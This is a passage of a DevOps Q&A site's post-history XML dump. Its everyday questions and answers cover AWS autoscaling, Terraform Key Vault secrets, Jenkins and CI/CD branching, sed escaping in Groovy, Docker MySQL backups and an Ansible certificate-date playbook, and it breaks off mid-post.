  <row Id="39337" PostHistoryTypeId="2" PostId="12821" RevisionGUID="1bad544d-e52f-4dab-95bd-44292f511a79" CreationDate="2020-11-22T16:13:49.230" UserId="17276" Text="I just solved it using put-scheduled-update-group-action&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;aws autoscaling put-scheduled-update-group-action --auto-scaling-group-name temp_4_jenkins --scheduled-action-name training --start-time 2020-11-23T09:10:00Z --min-size 0 --max-size 0 --desired-capacity 0 --region eu-west-1 --output json &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39338" PostHistoryTypeId="2" PostId="12822" RevisionGUID="23480b74-95e5-47f7-bad5-68ea2be2eb0e" CreationDate="2020-11-22T16:28:19.470" UserId="17276" Text="I saw this question about running CLI commands on an instance&#xD;&#xA;&#xD;&#xA;https://devops.stackexchange.com/questions/3264/how-to-run-a-script-or-a-command-on-ec2-instance-via-aws-cli?rq=1&#xD;&#xA;They &#xD;&#xA;&#xD;&#xA;I can already run CLI commands with a secure token service but all the answers were talking about using AWS Systems Manager Run Command. What is the benefit of that over secure token service (STS) " ContentLicense="CC BY-SA 4.0" />
  <row Id="39339" PostHistoryTypeId="1" PostId="12822" RevisionGUID="23480b74-95e5-47f7-bad5-68ea2be2eb0e" CreationDate="2020-11-22T16:28:19.470" UserId="17276" Text="What is the benifit of useing AWS Systems manager rather than aws secure token service?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39340" PostHistoryTypeId="3" PostId="12822" RevisionGUID="23480b74-95e5-47f7-bad5-68ea2be2eb0e" CreationDate="2020-11-22T16:28:19.470" UserId="17276" Text="&lt;aws-cli&gt;&lt;aws-ssm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39341" PostHistoryTypeId="2" PostId="12823" RevisionGUID="3337528d-6749-4aea-b172-1c22df509e6f" CreationDate="2020-11-22T17:10:08.113" UserId="24847" Text="From a CI pipeline I would like to be able to do the following. &#xD;&#xA;&#xD;&#xA; - Launch a droplet of a specific cpu/ram configuration with metadata to run a specific container image on start up&#xD;&#xA; - have the droplet run a single container on startup&#xD;&#xA; - pass environment variables into the container that will be launched &#xD;&#xA; - tag the droplet with a specific tag so that DO LB starts sending it traffic &#xD;&#xA; - the droplet will never be modified after it is launched. When a new version of the app code is deployed a new droplet will be launched pointing to a new container to run at startup.&#xD;&#xA;&#xD;&#xA;I know how do all the above using Kubernetes but I am specifically looking for a non k8s solution. Questions about the questions above.&#xD;&#xA;&#xD;&#xA; - Are the above steps possible on Digital Ocean?  &#xD;&#xA; - Can the steps above be completed with the `doctl` cli from within a pipeline?&#xD;&#xA; &#xD;&#xA;**There is on digital-ocean tag but I don't have enough reputation to create one** " ContentLicense="CC BY-SA 4.0" />
  <row Id="39342" PostHistoryTypeId="1" PostId="12823" RevisionGUID="3337528d-6749-4aea-b172-1c22df509e6f" CreationDate="2020-11-22T17:10:08.113" UserId="24847" Text="How to lunch a Digital Ocean dropplet directly into a container Image?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39343" PostHistoryTypeId="3" PostId="12823" RevisionGUID="3337528d-6749-4aea-b172-1c22df509e6f" CreationDate="2020-11-22T17:10:08.113" UserId="24847" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;containers&gt;&lt;cloud&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39344" PostHistoryTypeId="2" PostId="12824" RevisionGUID="18c3f305-7ae6-4fee-afd2-e81d7bab8a24" CreationDate="2020-11-22T19:09:34.847" UserId="24825" Text="I need to do the following in Terraform but can't work out how&#xD;&#xA;&#xD;&#xA;Here is what I have&#xD;&#xA;```&#xD;&#xA;local {&#xD;&#xA;app_config = {&#xD;&#xA;    test-web = {&#xD;&#xA;      name            = &quot;test-web-${local.environment}&quot;&#xD;&#xA;      websockets      = false&#xD;&#xA;      subnet          = &quot;backend&quot;&#xD;&#xA;      audience_subnet = &quot;frontend&quot;&#xD;&#xA;      url             = &quot;https://test-web-${local.environment}.mydomain.com&quot;&#xD;&#xA;    }&#xD;&#xA;    test-api  = {&#xD;&#xA;      name            = &quot;test-api-${local.environment}&quot;&#xD;&#xA;      websockets      = false&#xD;&#xA;      subnet          = &quot;backend&quot;&#xD;&#xA;      audience_subnet = &quot;frontend&quot;&#xD;&#xA;      url             = &quot;https://test-api-${local.environment}.mydomain.com&quot;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;keyvault_secrets = {&#xD;&#xA;    aat = {&#xD;&#xA;        test-api = {&#xD;&#xA;            application_id = &quot;1111&quot;&#xD;&#xA;            client_id = &quot;2222&quot;&#xD;&#xA;            administrator_pass = &quot;3333&quot;&#xD;&#xA;        }&#xD;&#xA;        test-web = {&#xD;&#xA;            application_id = &quot;4444&quot;&#xD;&#xA;            client_id = &quot;5555&quot;&#xD;&#xA;            administrator_pass = &quot;6666&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    Demo = {&#xD;&#xA;        test-api = {&#xD;&#xA;            application_id = &quot;1212&quot;&#xD;&#xA;            client_id = &quot;2323&quot;&#xD;&#xA;            administrator_pass = &quot;3434&quot;&#xD;&#xA;        }&#xD;&#xA;        test-web = {&#xD;&#xA;            application_id = &quot;4545&quot;&#xD;&#xA;            client_id = &quot;5656&quot;&#xD;&#xA;            administrator_pass = &quot;6767&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    Dev = {&#xD;&#xA;        test-api = {&#xD;&#xA;            application_id = &quot;9999&quot;&#xD;&#xA;            client_id = &quot;8888&quot;&#xD;&#xA;            administrator_pass = &quot;7777&quot;&#xD;&#xA;        }&#xD;&#xA;        test-web = {&#xD;&#xA;            application_id = &quot;9898&quot;&#xD;&#xA;            client_id = &quot;8787&quot;&#xD;&#xA;            administrator_pass = &quot;7676&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;azurerm_key_vault_secret&quot; &quot;app_id&quot; {&#xD;&#xA;  for_each = var.apps_config&#xD;&#xA;&#xD;&#xA;  name         = var.apps_config&#xD;&#xA;  value        = each.value.application_id&#xD;&#xA;  key_vault_id = data.azurerm_key_vault.mykv.id&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;azurerm_key_vault_secret&quot; &quot;client_id&quot; {&#xD;&#xA;  for_each = var.apps_config&#xD;&#xA;&#xD;&#xA;  name         = var.apps_config&#xD;&#xA;  value        = each.value.client_id&#xD;&#xA;  key_vault_id = data.azurerm_key_vault.mykv.id&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;azurerm_key_vault_secret&quot; &quot;admin_pass&quot; {&#xD;&#xA;  for_each = var.apps_config&#xD;&#xA;&#xD;&#xA;  name         = var.apps_config&#xD;&#xA;  value        = each.value.administrator_pass&#xD;&#xA;  key_vault_id = data.azurerm_key_vault.mykv.id&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;What I can't work out is how you do the following:&#xD;&#xA;For every app_config defined, for example:&#xD;&#xA;test-web &#xD;&#xA;test-api&#xD;&#xA;&#xD;&#xA;A Key Vault secret are created by the environment defined when running:&#xD;&#xA;&#xD;&#xA;Terraform plan or apply -var=&quot;environment=dev&quot;&#xD;&#xA;&#xD;&#xA;I want it to create the 3 secrets for each app_config&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39345" PostHistoryTypeId="1" PostId="12824" RevisionGUID="18c3f305-7ae6-4fee-afd2-e81d7bab8a24" CreationDate="2020-11-22T19:09:34.847" UserId="24825" Text="Terraform foreach multiple map variables" ContentLicense="CC BY-SA 4.0" />
  <row Id="39346" PostHistoryTypeId="3" PostId="12824" RevisionGUID="18c3f305-7ae6-4fee-afd2-e81d7bab8a24" CreationDate="2020-11-22T19:09:34.847" UserId="24825" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39347" PostHistoryTypeId="50" PostId="11523" RevisionGUID="318d8e0d-0183-40a2-bcf5-616a4fbee7fb" CreationDate="2020-11-22T22:05:30.593" UserId="-1" />
  <row Id="39348" PostHistoryTypeId="2" PostId="12825" RevisionGUID="555a51bf-157a-4611-812b-6e7bb30b507a" CreationDate="2020-11-22T23:17:37.517" UserId="12911" Text="The CI/CD pipeline supports pipelines per branch but no pipeline for feature branches is triggered automatically. There are pipelines deployed for the following branches: `development`, `master`. The respective pipeline is triggered `onCommit` event `(codeCommitRepo.onCommit('OnCommit', {})`  so whenever there is any code push to the branch. We are planning to use git-flow as the branching strategy but don't exactly see the advantages of having another branch called `staging`, in addition to `development`, `master`. &#xD;&#xA;&#xD;&#xA;1. Is there a use of having a third branch like &quot;staging&quot; when using CI/CD?&#xD;&#xA;&#xD;&#xA;The CI/CD pipeline looks as follows:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2. At what stage should the PR from the feature branch be created? &#xD;&#xA;3. At what stage should the PR be merged into the development branch?&#xD;&#xA;4. At what stage should the PR from the development branch to master be created? &#xD;&#xA;4. At what stage should the PR be merged into the master branch?&#xD;&#xA;5. What if the development pipeline fails? Should the code be manually unmerged to get development back in the stable condition?&#xD;&#xA;6. What if the master pipeline fails? &#xD;&#xA;Is the code being merged in the branch after the pipeline succeeds? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I would like to understand what the flow should look like starting from a feature branch.  (P.S: Not interested in Trunk based development strategy) &#xD;&#xA;&#xD;&#xA;Also, the pipeline is coming from https://github.com/awslabs/aws-simple-cicd and is written using AWS-CDK&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/fYixY.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="39349" PostHistoryTypeId="1" PostId="12825" RevisionGUID="555a51bf-157a-4611-812b-6e7bb30b507a" CreationDate="2020-11-22T23:17:37.517" UserId="12911" Text="Pull request and merge actions in CI/CD" ContentLicense="CC BY-SA 4.0" />
  <row Id="39350" PostHistoryTypeId="3" PostId="12825" RevisionGUID="555a51bf-157a-4611-812b-6e7bb30b507a" CreationDate="2020-11-22T23:17:37.517" UserId="12911" Text="&lt;amazon-web-services&gt;&lt;continuous-integration&gt;&lt;continuous-deployment&gt;&lt;continuous-delivery&gt;&lt;aws-codepipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39351" PostHistoryTypeId="2" PostId="12826" RevisionGUID="603386f3-3e26-4b8f-90b9-4500d51da035" CreationDate="2020-11-23T02:07:10.743" UserId="24848" Text="Setting up a PR request to have a build run in Jenkins. Our source repository is Stash.&#xD;&#xA;&#xD;&#xA;Essentially, the PR will be from any branch (each developer will create their own branches) to develop&#xD;&#xA;&#xD;&#xA;I have set it up as shown below. &#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;Stash configuration: &#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;[![enter image description here][5]][5]&#xD;&#xA;&#xD;&#xA;But on creating a pull request, the build doesn't get triggered. I don't know where to see why no build gets triggered?&#xD;&#xA;&#xD;&#xA;If I run the job manually in jenkins, I see this in the logs:&#xD;&#xA;````&#xD;&#xA;Merging Revision f1e16a58a7d0e77bb23175a70611a92081a2538c (refs/remotes/origin/develop) to origin/develop, UserMergeOptions{mergeRemote='origin', mergeTarget='develop', mergeStrategy='DEFAULT', fastForwardMode='FF'}&#xD;&#xA; &gt; git rev-parse origin/develop^{commit} # timeout=10&#xD;&#xA; &gt; git config core.sparsecheckout # timeout=10&#xD;&#xA; &gt; git checkout -f origin/develop # timeout=10&#xD;&#xA; &gt; git merge --ff f1e16a58a7d0e77bb23175a70611a92081a2538c # timeout=10&#xD;&#xA; &gt; git rev-parse HEAD^{commit} # timeout=10&#xD;&#xA;Seen branch in repository origin/SPBAPMIHL-1453&#xD;&#xA;Seen branch in repository origin/develop&#xD;&#xA;Seen branch in repository origin/feature/branch-xyz....&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;What could I do to make sure the PR build is triggered and runs on creating PR between custom branch to develop. &#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/nYEmw.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/qINU7.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/wcu9j.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/Akunr.png&#xD;&#xA;  [5]: https://i.stack.imgur.com/98vFX.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="39352" PostHistoryTypeId="1" PostId="12826" RevisionGUID="603386f3-3e26-4b8f-90b9-4500d51da035" CreationDate="2020-11-23T02:07:10.743" UserId="24848" Text="Setting up PR Build in Jenkins when raised from stash" ContentLicense="CC BY-SA 4.0" />
  <row Id="39353" PostHistoryTypeId="3" PostId="12826" RevisionGUID="603386f3-3e26-4b8f-90b9-4500d51da035" CreationDate="2020-11-23T02:07:10.743" UserId="24848" Text="&lt;jenkins&gt;&lt;git&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39354" PostHistoryTypeId="2" PostId="12827" RevisionGUID="00aaf156-74a7-4258-be13-36670066ddd1" CreationDate="2020-11-23T02:20:16.613" UserId="12911" Text="We are planning to use the Git-flow branching strategy with CI/CD. It's a conscious decision not to use Trunk based development. &#xD;&#xA;&#xD;&#xA;**Here's what the pipeline looks like:**&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;**Here's what the process looks like:**&#xD;&#xA;&#xD;&#xA;1. developer works on a `feature` branch&#xD;&#xA;2. creates a pull request to `develop` branch. Code gets reviewed by a developer and merged into develop branch&#xD;&#xA;3. develop pipeline gets triggered on a pull request and runs tests, creates build, deploys to &#xD;&#xA;`dev` and `test` env&#xD;&#xA;5. create a pull request manually/automatically from the `develop` branch to `master` branch&#xD;&#xA;6. if approved, triggers `master` branch code pipeline&#xD;&#xA;7. The master branch pipeline runs tests, creates build, deploys to &#xD;&#xA;dev, test env&#xD;&#xA;8. manual approval pending&#xD;&#xA;9.deployed on prod&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Can this be optimized to be more &quot;continuous&quot;? Not a fan of creating and approving pull requests twice. But absolutely need 2 branches. (develop and master). Open to feedback on how this should be improved. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/hfwa5.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="39355" PostHistoryTypeId="1" PostId="12827" RevisionGUID="00aaf156-74a7-4258-be13-36670066ddd1" CreationDate="2020-11-23T02:20:16.613" UserId="12911" Text="Branching strategy and CI/CD" ContentLicense="CC BY-SA 4.0" />
  <row Id="39356" PostHistoryTypeId="3" PostId="12827" RevisionGUID="00aaf156-74a7-4258-be13-36670066ddd1" CreationDate="2020-11-23T02:20:16.613" UserId="12911" Text="&lt;amazon-web-services&gt;&lt;continuous-integration&gt;&lt;continuous-deployment&gt;&lt;cicd&gt;&lt;aws-codepipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39357" PostHistoryTypeId="2" PostId="12828" RevisionGUID="9d6792e8-ab4b-4434-9434-a6fa5f10066d" CreationDate="2020-11-23T13:49:15.620" UserId="17329" Text="I have on-premise cluster with 3 worker nodes, I have confluent kafka installed and I need it for 3 namespaces, what is the best storage solution I can use to manage the persistence here, I am trying with localprovisioner but it is real hell as on restart sometimes data overlaps between different bindings." ContentLicense="CC BY-SA 4.0" />
  <row Id="39358" PostHistoryTypeId="1" PostId="12828" RevisionGUID="9d6792e8-ab4b-4434-9434-a6fa5f10066d" CreationDate="2020-11-23T13:49:15.620" UserId="17329" Text="Best pv storage solution for on-premise k8s cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="39359" PostHistoryTypeId="3" PostId="12828" RevisionGUID="9d6792e8-ab4b-4434-9434-a6fa5f10066d" CreationDate="2020-11-23T13:49:15.620" UserId="17329" Text="&lt;kubernetes&gt;&lt;kafka&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39361" PostHistoryTypeId="2" PostId="12829" RevisionGUID="ac080ff3-4651-4ef5-ac7f-36984b6fa519" CreationDate="2020-11-23T14:05:05.913" UserId="20300" Text="I have the following code which works in gitlab (without the `sh` part):&#xD;&#xA;&#xD;&#xA;    sh &quot;&quot;&quot;&#xD;&#xA;    mkdir ./pylint&#xD;&#xA;    docker run --rm --entrypoint=/usr/local/bin/pylint ${IMAGE_NAME}:${IMAGE_VERSION} --rcfile=.pylintrc --exit-zero ${MODULE} &gt; ./pylint/pylint.log&#xD;&#xA;    PYLINT_SCORE=$(sed -n 's/^Your code has been rated at \([-0-9.]*\)\/.*/\1/p' ./pylint/pylint.log)&#xD;&#xA;    &quot;&quot;&quot;&#xD;&#xA;&#xD;&#xA;I'm trying to use also in Jenkinsfile, but gets the following exception:&#xD;&#xA;&#xD;&#xA;    WorkflowScript: 49: illegal string body character after dollar sign;&#xD;&#xA;       solution: either escape a literal dollar sign &quot;\$5&quot; or bracket the value expression &quot;${5}&quot; @ line 49, column 142.&#xD;&#xA;       .pylintrc --exit-zero ${MODULE} &gt; ./pyli&#xD;&#xA;&#xD;&#xA;how can I fix it to work also here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39362" PostHistoryTypeId="1" PostId="12829" RevisionGUID="ac080ff3-4651-4ef5-ac7f-36984b6fa519" CreationDate="2020-11-23T14:05:05.913" UserId="20300" Text="How to fix docker redirect command to work in groovy" ContentLicense="CC BY-SA 4.0" />
  <row Id="39363" PostHistoryTypeId="3" PostId="12829" RevisionGUID="ac080ff3-4651-4ef5-ac7f-36984b6fa519" CreationDate="2020-11-23T14:05:05.913" UserId="20300" Text="&lt;docker&gt;&lt;jenkinsfile&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39364" PostHistoryTypeId="5" PostId="12829" RevisionGUID="4032f89a-8a7d-4adb-85c5-3c25f68bccaa" CreationDate="2020-11-23T14:49:25.200" UserId="20300" Comment="added 227 characters in body" Text="I have the following code which works in gitlab (without the `sh` part):&#xD;&#xA;&#xD;&#xA;    sh '''&#xD;&#xA;    mkdir ./pylint&#xD;&#xA;    docker run --rm --entrypoint=/usr/local/bin/pylint ${IMAGE_NAME}:${IMAGE_VERSION} --rcfile=.pylintrc --exit-zero ${MODULE} &gt; ./pylint/pylint.log&#xD;&#xA;    PYLINT_SCORE=$(sed -n 's/^Your code has been rated at \([-0-9.]*\)\/.*/\1/p' ./pylint/pylint.log)&#xD;&#xA;    '''&#xD;&#xA;&#xD;&#xA;I'm trying to use also in Jenkinsfile, but gets the following exception:&#xD;&#xA;&#xD;&#xA;    WorkflowScript: 50: unexpected char: '\' @ line 50, column 75.&#xD;&#xA;       /^Your code has been rated at \([-0-9.]*&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39365" PostHistoryTypeId="4" PostId="12829" RevisionGUID="4032f89a-8a7d-4adb-85c5-3c25f68bccaa" CreationDate="2020-11-23T14:49:25.200" UserId="20300" Comment="added 227 characters in body" Text="How to fix sed command to work in groovy" ContentLicense="CC BY-SA 4.0" />
  <row Id="39366" PostHistoryTypeId="5" PostId="12829" RevisionGUID="d54dfc92-0a39-414e-8538-dec51ac711b2" CreationDate="2020-11-23T14:55:49.660" UserId="20300" Comment="added 26 characters in body" Text="I have the following code which works in gitlab (without the `sh` part):&#xD;&#xA;&#xD;&#xA;    sh '''&#xD;&#xA;    mkdir ./pylint&#xD;&#xA;    docker run --rm --entrypoint=/usr/local/bin/pylint ${IMAGE_NAME}:${IMAGE_VERSION} --rcfile=.pylintrc --exit-zero ${MODULE} &gt; ./pylint/pylint.log&#xD;&#xA;    PYLINT_SCORE=$(sed -n 's/^Your code has been rated at \([-0-9.]*\)\/.*/\1/p' ./pylint/pylint.log)&#xD;&#xA;    '''&#xD;&#xA;&#xD;&#xA;I'm trying to use it also in Jenkinsfile, but gets the following exception:&#xD;&#xA;&#xD;&#xA;    WorkflowScript: 50: unexpected char: '\' @ line 50, column 75.&#xD;&#xA;       /^Your code has been rated at \([-0-9.]*&#xD;&#xA;&#xD;&#xA;any idea how to fix it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39367" PostHistoryTypeId="5" PostId="12829" RevisionGUID="e6dd620e-641e-473b-bdd6-11ea7fef8e4b" CreationDate="2020-11-23T15:23:48.113" UserId="20300" Comment="added 155 characters in body" Text="I have the following code which works in gitlab (without the `sh` part):&#xD;&#xA;&#xD;&#xA;    sh '''&#xD;&#xA;    mkdir ./pylint&#xD;&#xA;    docker run --rm --entrypoint=/usr/local/bin/pylint ${IMAGE_NAME}:${IMAGE_VERSION} --rcfile=.pylintrc --exit-zero ${MODULE} &gt; ./pylint/pylint.log&#xD;&#xA;    PYLINT_SCORE=$(sed -n 's/^Your code has been rated at \([-0-9.]*\)\/.*/\1/p' ./pylint/pylint.log)&#xD;&#xA;    '''&#xD;&#xA;what it does, it takes the value `8.25` from this line: `Your code has been rated at 8.52/10` &#xD;&#xA;I'm trying also to use it in `Jenkinsfile`, but gets the following exception:&#xD;&#xA;&#xD;&#xA;    WorkflowScript: 50: unexpected char: '\' @ line 50, column 75.&#xD;&#xA;       /^Your code has been rated at \([-0-9.]*&#xD;&#xA;&#xD;&#xA;any idea how to fix it? or use other command from `sed` to get the require output?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39368" PostHistoryTypeId="5" PostId="12829" RevisionGUID="c52c7a67-ec4a-4ab8-8a08-425ea7dddb31" CreationDate="2020-11-23T15:34:51.877" UserId="20300" Comment="added 3 characters in body" Text="I have the following code which works in gitlab (without the `sh` part):&#xD;&#xA;&#xD;&#xA;    sh '''&#xD;&#xA;    mkdir ./pylint&#xD;&#xA;    docker run --rm --entrypoint=/usr/local/bin/pylint ${IMAGE_NAME}:${IMAGE_VERSION} --rcfile=.pylintrc --exit-zero ${MODULE} &gt; ./pylint/pylint.log&#xD;&#xA;    PYLINT_SCORE=$(sed -n 's/^Your code has been rated at \([-0-9.]*\)\/.*/\1/p' ./pylint/pylint.log)&#xD;&#xA;    '''&#xD;&#xA;what it does, it takes the value `8.25` from this line: `Your code has been rated at 8.52/10` .&#xD;&#xA;&#xD;&#xA;I'm trying also to use it in `Jenkinsfile`, but gets the following exception:&#xD;&#xA;&#xD;&#xA;    WorkflowScript: 50: unexpected char: '\' @ line 50, column 75.&#xD;&#xA;       /^Your code has been rated at \([-0-9.]*&#xD;&#xA;&#xD;&#xA;any idea how to fix it? or use other command from `sed` to get the require output?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39369" PostHistoryTypeId="2" PostId="12830" RevisionGUID="7e66dead-185f-4de0-ab9e-519b3dafa8cd" CreationDate="2020-11-23T15:39:05.633" UserId="19257" Text="I use a VPS (my host) where a *LAMP server* was installed.&#xD;&#xA;I already have a database associated to host *mariaDB server Ver 15.1 Distrib 10.1.47* and *automysqlbackup* backups it. This part works well.&#xD;&#xA;&#xD;&#xA;For a &quot;new project&quot;, we use now docker servers and one with a *mysql 5.7* and a volume to save this new project database in a host folder, for exemple: */path/on/host/dockerise/db/*&#xD;&#xA;&#xD;&#xA;I want to backup too this new database.  &#xD;&#xA;&#xD;&#xA;What is the right way?&#xD;&#xA;&#xD;&#xA;1. Is there a way with automysqlbackup? I think no because it uses host mariaDb server and *mysqldump*.  &#xD;&#xA;1. Directly with *mysqldump* ?  &#xD;&#xA;1. Or just create a bash script and CRON it?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39370" PostHistoryTypeId="1" PostId="12830" RevisionGUID="7e66dead-185f-4de0-ab9e-519b3dafa8cd" CreationDate="2020-11-23T15:39:05.633" UserId="19257" Text="backup dockerise mysql database from host volume" ContentLicense="CC BY-SA 4.0" />
  <row Id="39371" PostHistoryTypeId="3" PostId="12830" RevisionGUID="7e66dead-185f-4de0-ab9e-519b3dafa8cd" CreationDate="2020-11-23T15:39:05.633" UserId="19257" Text="&lt;docker&gt;&lt;mysql&gt;&lt;volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39372" PostHistoryTypeId="5" PostId="12830" RevisionGUID="66dc198e-2640-4f8b-a37f-a969829a5e22" CreationDate="2020-11-23T16:23:36.193" UserId="19257" Comment="add link on multiple data directories" Text="I use a VPS (my host) where a *LAMP server* was installed.&#xD;&#xA;I already have a database associated to host *mariaDB server Ver 15.1 Distrib 10.1.47* and *automysqlbackup* backups it. This part works well.&#xD;&#xA;&#xD;&#xA;For a &quot;new project&quot;, we use now docker servers and one with a *mysql 5.7* and a volume to save this new project database in a host folder, for exemple: */path/on/host/dockerise/db/*&#xD;&#xA;&#xD;&#xA;I want to backup too this new database.  &#xD;&#xA;&#xD;&#xA;What is the right way?&#xD;&#xA;&#xD;&#xA;1. Is there a way with automysqlbackup? I think no because it uses host mariaDb server and *mysqldump*, and you shouldn't have two servers working on the same database (https://dev.mysql.com/doc/refman/5.7/en/multiple-data-directories.html)&#xD;&#xA;1. Directly with *mysqldump* ?  &#xD;&#xA;1. Or just create a bash script and CRON it?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39373" PostHistoryTypeId="2" PostId="12831" RevisionGUID="86359fd3-3a20-4d1e-8a2e-a5fb44843b79" CreationDate="2020-11-23T16:38:11.900" UserId="24816" Text="I have a little script for my MariaDb database inside a docker container.&#xD;&#xA;The setup is comparable. I have a database container with a mounted volume. Furthermore I have a second volume for backups mounted under `/backup`.&#xD;&#xA;&#xD;&#xA;The script is run on the host via cron and uses the database instance inside the container, so only one database accesses the data. That is the docker exec part.&#xD;&#xA;I'm sure, you can adopt it to mysql. You only have to configure the CONTAINER_NAME and change the command inside the container.&#xD;&#xA;  &#xD;&#xA;```bash&#xD;&#xA;#!/bin/bash&#xD;&#xA;DATE_TIME=`date +&quot;%Y_%m_%d_%H_%M&quot;`&#xD;&#xA;CONTAINER_NAME=&quot;mariadb&quot;&#xD;&#xA;CONTAINER=`docker ps -q -f name=${CONTAINER_NAME}`&#xD;&#xA;PASSWORD=`docker exec ${CONTAINER} sh -c 'echo $MYSQL_ROOT_PASSWORD'`&#xD;&#xA;BACKUPFILE=${DATE_TIME}_${CONTAINER_NAME}.backup.gz&#xD;&#xA;&#xD;&#xA;echo &quot;Backup of MariaDb&quot;&#xD;&#xA;echo &quot;&quot;&#xD;&#xA;echo &quot;Old backps will be deleted.&quot;&#xD;&#xA;echo &quot;Datenbank Container Name:	$CONTAINER_NAME&quot;&#xD;&#xA;echo &quot;Datenbank Container:	$CONTAINER&quot;&#xD;&#xA;&#xD;&#xA;echo &quot;Writing backup to ${BACKUPFILE}&quot;&#xD;&#xA;echo &quot;&quot;&#xD;&#xA;docker exec ${CONTAINER} sh -c &quot;find /backup/ -mindepth 1 -mtime +8 -delete; /usr/bin/mariabackup --backup --user root --password=${PASSWORD} --stream=xbstream | gzip &gt; /backup/${BACKUPFILE}&quot;&#xD;&#xA;echo &quot;&quot;&#xD;&#xA;echo &quot;Backup finished&quot;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="39374" PostHistoryTypeId="2" PostId="12832" RevisionGUID="ca4a0fb7-4fed-4865-970a-37cca4895283" CreationDate="2020-11-23T16:41:49.270" UserId="24036" Text="I play this playbook to get amount of days between two expiration certificates dates:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;- hosts: localhost&#xD;&#xA;  gather_facts: no&#xD;&#xA;  connection: local&#xD;&#xA;&#xD;&#xA;  tasks:&#xD;&#xA;&#xD;&#xA;  - name: Save the old date&#xD;&#xA;    shell:&#xD;&#xA;       cmd: &gt;-&#xD;&#xA;           date --date=&quot;$(openssl x509 -noout -dates -in cert1.crt&#xD;&#xA;           | grep 'notAfter' | cut -d= -f2)&quot; --utc +&quot;%d-%m-%Y&quot;&#xD;&#xA;    ignore_errors: true&#xD;&#xA;    args:&#xD;&#xA;       executable: /bin/bash&#xD;&#xA;    register: x1&#xD;&#xA;&#xD;&#xA;  - name: Save the new date&#xD;&#xA;    shell:&#xD;&#xA;       cmd: &gt;-&#xD;&#xA;           date --date=&quot;$(openssl x509 -noout -dates -in cert2.crt&#xD;&#xA;           | grep 'notAfter' | cut -d= -f2)&quot; --utc +&quot;%d-%m-%Y&quot;&#xD;&#xA;    ignore_errors: true&#xD;&#xA;    args:&#xD;&#xA;       executable: /bin/bash&#xD;&#xA;    register: x2&#xD;&#xA;&#xD;&#xA;  - name: Show mount of days with dedug module&#xD;&#xA;    debug:&#xD;&#xA;      var: &quot;{{ (( x2.stdout | to_datetime('%d-%m-%Y')) - ( x1.stdout  | to_datetime('%d-%m-%Y'))).days }}&quot;&#xD;&#xA;&#xD;&#xA;  - set_fact:&#xD;&#xA;       diff: &quot;{{ (( x2.stdout | to_datetime('%d-%m-%Y')) - ( x1.stdout | to_datetime('%d-%m-%Y'))).days }}&quot;&#xD;&#xA;&#xD;&#xA;  - name: Show diff variable&#xD;&#xA;    debug:&#xD;&#xA;      var: diff&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;The playbook run well and i can show the resultat with debug module (task name: Show mount of days with debug module):&#xD;&#xA;```&#xD;&#xA;ok: [localhost] =&gt; {&#xD;&#xA;    &quot;msg&quot;: &quot;357&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;Otherwise the task (Show diff variable) show me a null 